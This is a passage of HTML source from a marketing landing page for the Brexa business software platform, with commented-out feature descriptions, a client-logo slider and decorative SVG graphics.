    <!--            <li> <a href="#tab-explore-4" data-bs-toggle="tab" role="tab" aria-controls="tab-explore-4" aria-selected="true">Request, Enquiries & Ticket</a></li>-->
    <!--          </ul>-->
    <!--          <div class="tab-content">-->
    <!--            <div class="tab-pane fade active show" id="tab-explore-1" role="tabpanel" aria-labelledby="tab-explore-1">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Say goodbye to scheduling headaches! Our Appointment Scheduler-->
    <!--                        simplifies the booking process, allowing your clients to effortlessly book, reschedule, or-->
    <!--                        cancel appointments online. This not only frees up your staff's time but also ensures that-->
    <!--                        appointments are managed efficiently.</p>-->
    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--            <div class="tab-pane fade" id="tab-explore-2" role="tabpanel" aria-labelledby="tab-explore-2">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Meet your 24/7 virtual assistant! Our AI Bot Support is-->
    <!--                        powered by cutting-edge technology to handle routine inquiries, provide information, and-->
    <!--                        assist your clients at any time. This means faster response times and immediate support even-->
    <!--                        when your team is offline.</p>-->
    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--            <div class="tab-pane fade" id="tab-explore-3" role="tabpanel" aria-labelledby="tab-explore-3">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">When human touch is needed, we've got you covered. Our team of-->
    <!--                        expert live agents is always at your service. They're highly trained, responsive, and ready-->
    <!--                        to assist your clients, ensuring they receive the personalized support they deserve.</p>-->
    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-explore-4" role="tabpanel" aria-labelledby="tab-explore-4">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Your clients' inquiries and requests are now effortlessly-->
    <!--                        managed through our Request, Enquiries, and Ticketing system. This streamlines-->
    <!--                        communication, ensures prompt responses, and keeps everything organized, so no client-->
    <!--                        concern is left unresolved.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--          </div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--    </div>-->

    <!--  </div>-->
    <!--</section>-->

    <section class="section mt-100 bg-grey-60">
      <div class="container">
        <div class="row align-items-center">
          <div class="col-xl-6 col-lg-5 col-md-5">
            <div class="box-images-project">
              <div class="title-line mb-10">Easy Integration</div>
              <h2 class="color-brand-1 mb-25">Seamless integration with your current systems, tools & Apps.</h2>
              <p class="color-grey-500 mb-15">If you are already using other tools for your business daily operations,
                that's okay. BREXA can integrate with them to offer you even more features. Brexa Plays well with 200+
                apps you might already be using.</p>

              <!-- <div class="box-button text-start mt-40"> <a class="btn btn-brand-1 hover-up" href="#">Explore all
                  Features</a><a class="btn btn-default font-sm-bold hover-up" href="#">
                  Learn More
                  <svg class="w-6 h-6 icon-16 ml-5" fill="none" stroke="currentColor" viewbox="0 0 24 24"
                    xmlns="http://www.w3.org/2000/svg">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3">
                    </path>
                  </svg></a></div> -->
            </div>
          </div>
          <div class="col-xl-6 col-lg-7 col-md-7">
            <div class="row">
              <div class="col-lg-3 col-md-3 col-4 offset-lg-1">
                <div class="slider text-center">
                  <div class="slide-track">
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client1.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client2.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client3.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client4.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client5.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client6.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client7.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client8.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client9.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client10.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client11.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client12.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client13.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client14.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client15.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client16.png" alt="">
                    </div>
                  </div>
                </div>
              </div>

              <div class="col-lg-3 col-md-3 col-4">
                <div class="slider1 text-center">
                  <div class="slide-track">
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client16.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client15.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client14.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client13.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client12.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client11.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client10.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client9.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client8.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client7.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client6.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client5.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client4.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client3.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client2.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client1.png" alt="">
                    </div>
                  </div>
                </div>
              </div>

              <div class="col-lg-3 col-md-3 col-4">
                <div class="slider text-center">
                  <div class="slide-track">
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client20.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client19.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client18.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client13.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client9.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client16.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client11.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client1.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client10.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client3.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client8.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client12.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client6.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client2.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client17.png" alt="">
                    </div>
                    <div class="slide">
                      <img src="assets/imgs/page/homepage2/client15.png" alt="">
                    </div>

                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>
    
    <section class="section product-image mtb-100">
      <div class="container">
        <div class="text-center">
          <!-- <h3 class="color-brand-1 mb-75">Complete Business OS for your service business</h3> -->
          <h3 class="color-brand-1 mb-75 title">Complete
            <span class="text-shape">Business OS
              <svg width="243" height="35" viewBox="0 0 243 35" fill="none" xmlns="http://www.w3.org/2000/svg">
                <path d="M2 13.0328C32.4961 7.38981 122.991 -2.20328 241 4.56831" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
                <path d="M64.9152 15.5249C87.022 10.8533 152.77 2.09709 238.906 4.44526" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
                <path d="M65.012 16.4264C87.692 13.3239 154.306 10.8944 239.322 25.9959" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
              </svg>
            </span> for your service business
          </h3>
        </div>
        <div class="row justify-content-center text-center">
          <div class=" col-lg-12 ">
            <div class="handType left">
              <div class="textContainer">
                <span>Everything you need to manage your business</span>
              </div>
              <div class="arrowContainer">
                <svg width="74" height="78" viewbox="0 0 74 78" fill="none" xmlns="http://www.w3.org/2000/svg">
                  <path d="M18.2588 1.15625C18.2588 1.15625 13.5666 15.957 23.4501 38.8232C36.1576 68.2235 64.0406 63.591 64.0406 63.591" stroke="#14353C" stroke-width="1.84597" stroke-linecap="round" />
                  <path d="M67.9692 58.4062C67.9692 58.4062 68.247 61.3282 70.2937 62.7728C70.2937 62.7728 64.4096 67.706 59.5498 73.3607" stroke="#14353C" stroke-width="1.84597" stroke-linecap="round" stroke-linejoin="round" />
                </svg>
              </div>
            </div>
            <div class="handType right">
              <!-- <img src="assets/imgs/page/homepage2/circle.svg" class="text-shape-accent"> -->
              <div class="textContainer">
                <span>Everything your<br> clients need</span>
              </div>
              <div class="arrowContainer">
                <svg width="108" height="114" viewbox="0 0 108 114" fill="none" xmlns="http://www.w3.org/2000/svg">
                  <path d="M70.4908 1.19434C70.4908 1.19434 90.4765 44.0722 64.8488 80.9321C51.4551 100.196 28.3509 101.721 28.3509 101.721" stroke="#14353C" stroke-width="1.49495" stroke-linecap="round" />
                  <path d="M26.1364 98.6128C26.1364 98.6128 25.6834 100.712 24.1552 102.016C24.1552 102.016 27.7299 104.673 30.5401 107.981" stroke="#14353C" stroke-width="1.49495" stroke-linecap="round" stroke-linejoin="round" />
                </svg>
              </div>
            </div>
            <div class="image-banner-5">
              <img src="assets/imgs/page/homepage2/home-guest-img1.png" width="950" alt="Brexa">
            </div>
            <div class="asset-2 shape-2"></div>
            <div class="asset-5 shape-2"></div>
          </div>
        </div>
      </div>
    </section>

    <!--<section class="section mt-100 mb-50">-->
    <!--  <div class="container">-->
    <!--    <div class="text-center">-->
    <!--      <h2 class="color-brand-1 mb-30 title">-->
    <!--        <span class="text-shape">Powerful-->
    <!--          <svg width="243" height="35" viewBox="0 0 243 35" fill="none" xmlns="http://www.w3.org/2000/svg">-->
    <!--            <path d="M2 13.0328C32.4961 7.38981 122.991 -2.20328 241 4.56831" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>-->
    <!--            <path d="M64.9152 15.5249C87.022 10.8533 152.77 2.09709 238.906 4.44526" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>-->
    <!--            <path d="M65.012 16.4264C87.692 13.3239 154.306 10.8944 239.322 25.9959" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>-->
    <!--          </svg>-->
    <!--        </span> Features to Supercharge Your Business-->
    <!--      </h2>-->
    <!--    </div>-->
    <!--    <div class="row mt-50 align-items-center justify-content-center">-->
    <!--      <div class="col-lg-6 text-center">-->
    <!--        <div class="box-images-project">-->
    <!--          <div class="box-images"> <img src="assets/imgs/page/homepage2/pipeline1.png" alt="Brexa" width="">-->
    <!--          </div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--      <div class="col-lg-6">-->

    <!--        <div class="mt-30 feature-nav-tabs">-->
    <!--          <ul class="list-buttons text-start list-buttons-circle nav nav-tabs" role="tablist">-->
    <!--            <li> <a class="active" href="#tab-feature-1" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-1" aria-selected="true">AI Conversational Chat Bot</a></li>-->
    <!--            <li> <a href="#tab-feature-2" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-2" aria-selected="true">Modern Sales CRM</a></li>-->
    <!--            <li> <a href="#tab-feature-3" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-3" aria-selected="true">Web Forms</a></li>-->
    <!--            <li> <a href="#tab-feature-4" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-4" aria-selected="true">Omni Channel Live Chat</a></li>-->
    <!--            <li> <a href="#tab-feature-5" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-5" aria-selected="true">-->
    <!--                Customizable Pipelines</a></li>-->
    <!--            <li> <a href="#tab-feature-6" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-6" aria-selected="true">Boards</a></li>-->
    <!--            <li> <a href="#tab-feature-7" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-7" aria-selected="true">Invoices</a></li>-->
    <!--            <li> <a href="#tab-feature-8" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-8" aria-selected="true">Automation Bot</a></li>-->
    <!--            <li> <a href="#tab-feature-9" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-9" aria-selected="true">Onboarding Pop-Ups</a></li>-->
    <!--            <li> <a href="#tab-feature-10" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-10" aria-selected="true">Team Chats</a></li>-->
    <!--            <li> <a href="#tab-feature-11" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-11" aria-selected="true">Campaigns</a></li>-->
    <!--            <li> <a href="#tab-feature-12" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-12" aria-selected="true">Client Mobile App Portal</a></li>-->
    <!--            <li> <a href="#tab-feature-13" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-13" aria-selected="true">Cookie Banner</a></li>-->
    <!--            <li> <a href="#tab-feature-14" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-14" aria-selected="true">Floating Bar</a></li>-->
    <!--            <li> <a href="#tab-feature-15" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-15" aria-selected="true">WhatsApp Bot</a></li>-->
    <!--            <li> <a href="#tab-feature-16" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-16" aria-selected="true">Web Analytic Tools (Coming Soon)</a></li>-->
    <!--            <li> <a href="#tab-feature-17" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-17" aria-selected="true">File Management</a></li>-->
    <!--            <li> <a href="#tab-feature-18" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-18" aria-selected="true">Surveys & Feedback</a></li>-->

    <!--            <li> <a href="#tab-feature-19" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-19" aria-selected="true">Appointments, Meetings & Service Scheduler</a></li>-->
    <!--            <li> <a href="#tab-feature-20" data-bs-toggle="tab" role="tab" aria-controls="tab-feature-20" aria-selected="true">-->
    <!--                Client & Project Management</a></li>-->
    <!--          </ul>-->
    <!--          <div class="tab-content">-->
    <!--            <div class="tab-pane fade active show" id="tab-feature-1" role="tabpanel" aria-labelledby="tab-feature-1">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Our AI Conversational Chat Bot is your 24/7 virtual assistant.-->
    <!--                        It handles routine inquiries, provides instant responses, and ensures your clients receive-->
    <!--                        support around the clock. Say goodbye to long response times and hello to enhanced customer-->
    <!--                        satisfaction.</p>-->
    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--            <div class="tab-pane fade" id="tab-feature-2" role="tabpanel" aria-labelledby="tab-feature-2">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Streamline your sales processes with our Modern Sales CRM.-->
    <!--                        Manage leads, nurture relationships, and boost sales efficiency. Empower your sales team to-->
    <!--                        close deals faster and build lasting client connections.</p>-->
    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--            <div class="tab-pane fade" id="tab-feature-3" role="tabpanel" aria-labelledby="tab-feature-3">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Gather valuable client information and feedback effortlessly.-->
    <!--                        Our customizable web forms make data collection a breeze, helping you make informed-->
    <!--                        decisions and better understand your client's needs.</p>-->
    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-4" role="tabpanel" aria-labelledby="tab-feature-4">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Meet your clients where they are with our Omni Channel Live-->
    <!--                        Chat. Whether it's on your website, through social media, or any other channel, you can-->
    <!--                        provide instant support and create memorable client experiences.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-5" role="tabpanel" aria-labelledby="tab-feature-5">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Customize and manage your workflows with ease. Our-->
    <!--                        Customizable Pipelines allow you to align processes with your unique business needs,-->
    <!--                        ensuring that nothing falls through the cracks.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-6" role="tabpanel" aria-labelledby="tab-feature-6">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Enhance visibility and collaboration within your team using-->
    <!--                        our boards. Track tasks, projects, and more in an organized and efficient manner.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-7" role="tabpanel" aria-labelledby="tab-feature-7">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Generate and send invoices effortlessly. Simplify the billing-->
    <!--                        process and ensure you get paid for your services in a timely manner.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-8" role="tabpanel" aria-labelledby="tab-feature-8">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Our Automation Bot takes care of repetitive tasks and-->
    <!--                        workflows, saving you time and reducing manual effort. Maximize efficiency in your-->
    <!--                        operations.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-9" role="tabpanel" aria-labelledby="tab-feature-9">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Welcome new clients with personalized onboarding pop-ups.-->
    <!--                        Ensure they have a seamless introduction to your services and leave a lasting impression.-->
    <!--                      </p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-10" role="tabpanel" aria-labelledby="tab-feature-10">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Foster internal communication and collaboration within your-->
    <!--                        team. Our team chat feature keeps your team connected and efficient.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-11" role="tabpanel" aria-labelledby="tab-feature-11">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Create, manage, and track marketing campaigns with ease. Reach-->
    <!--                        your target audience and boost your marketing efforts with our campaign management tools.-->
    <!--                      </p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-12" role="tabpanel" aria-labelledby="tab-feature-12">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Offer your clients a dedicated mobile app portal for-->
    <!--                        convenient access to information and appointments. Enhance the mobile client experience and-->
    <!--                        engagement.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-13" role="tabpanel" aria-labelledby="tab-feature-13">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Ensure compliance with privacy regulations by displaying a-->
    <!--                        cookie banner on your website. Show your commitment to data privacy.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-14" role="tabpanel" aria-labelledby="tab-feature-14">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Attract the attention of website visitors with a floating bar.-->
    <!--                        Promote offers, collect leads, and enhance client engagement.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-15" role="tabpanel" aria-labelledby="tab-feature-15">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Connect with clients through WhatsApp with our dedicated bot.-->
    <!--                        Enhance your client interactions on this popular platform.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-16" role="tabpanel" aria-labelledby="tab-feature-16">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Stay tuned for our upcoming web analytics tools. Gain valuable-->
    <!--                        insights into website performance and visitor behavior to inform your strategies.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-17" role="tabpanel" aria-labelledby="tab-feature-17">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Simplify the management of files and documents related to your-->
    <!--                        clients and projects. Stay organized and access what you need, when you need it.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-18" role="tabpanel" aria-labelledby="tab-feature-18">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Collect feedback from clients to improve services and customer-->
    <!--                        satisfaction. Make data-driven decisions and ensure your clients' voices are heard.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-19" role="tabpanel" aria-labelledby="tab-feature-19">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Our intuitive scheduler makes appointment management a breeze.-->
    <!--                        Clients can easily book, reschedule, or cancel appointments, helping you reduce scheduling-->
    <!--                        conflicts and improve efficiency.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--            <div class="tab-pane fade" id="tab-feature-20" role="tabpanel" aria-labelledby="tab-feature-20">-->
    <!--              <div class="box-tab">-->
    <!--                <div class="row align-items-center">-->
    <!--                  <div class="col-xl-12 col-lg-12">-->
    <!--                    <div class="box-business-tab pl-5">-->
    <!--                      <p class="color-grey-500 mb-15">Stay organized with our client and project management tools.-->
    <!--                        Easily manage client information and track ongoing projects, streamlining your client-->
    <!--                        interactions.</p>-->

    <!--                    </div>-->
    <!--                  </div>-->
    <!--                </div>-->
    <!--              </div>-->
    <!--            </div>-->

    <!--          </div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--    </div>-->
    <!--  </div>-->
    <!--</section>-->

    <!-- <section class="section mt-50">
      <div class="container">
        <div class="text-center">
          <h2 class="color-brand-1 mb-20 title">
            <span class="text-shape">Launching
              <svg width="243" height="35" viewBox="0 0 243 35" fill="none" xmlns="http://www.w3.org/2000/svg">
                <path d="M2 13.0328C32.4961 7.38981 122.991 -2.20328 241 4.56831" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
                <path d="M64.9152 15.5249C87.022 10.8533 152.77 2.09709 238.906 4.44526" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
                <path d="M65.012 16.4264C87.692 13.3239 154.306 10.8944 239.322 25.9959" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
              </svg>
            </span> Your own <br>business app is Now Super Easy
          </h2>

        </div>
        <div class="row mt-75 align-items-center">
          <div class="col-lg-4 offset-lg-1 mb-30">
            <p class="font-lg color-grey-500 mb-30"> <a class="font-lg-bold color-brand-1" href="#">Brexa Platform
              </a>lets you take control of your money, balance your income and expenses, and understand where your money
              goes.</p>
            <ul class="list-ticks list-ticks-2">
              <li>
                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                </svg>Book appointments &amp; order products or services
              </li>
              <li>
                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                </svg>AI Bot/Live chat &amp; Tickets
              </li>
              <li>
                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                </svg>Collect comprehensive feedback
              </li>
              <li>
                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                </svg>Client Login
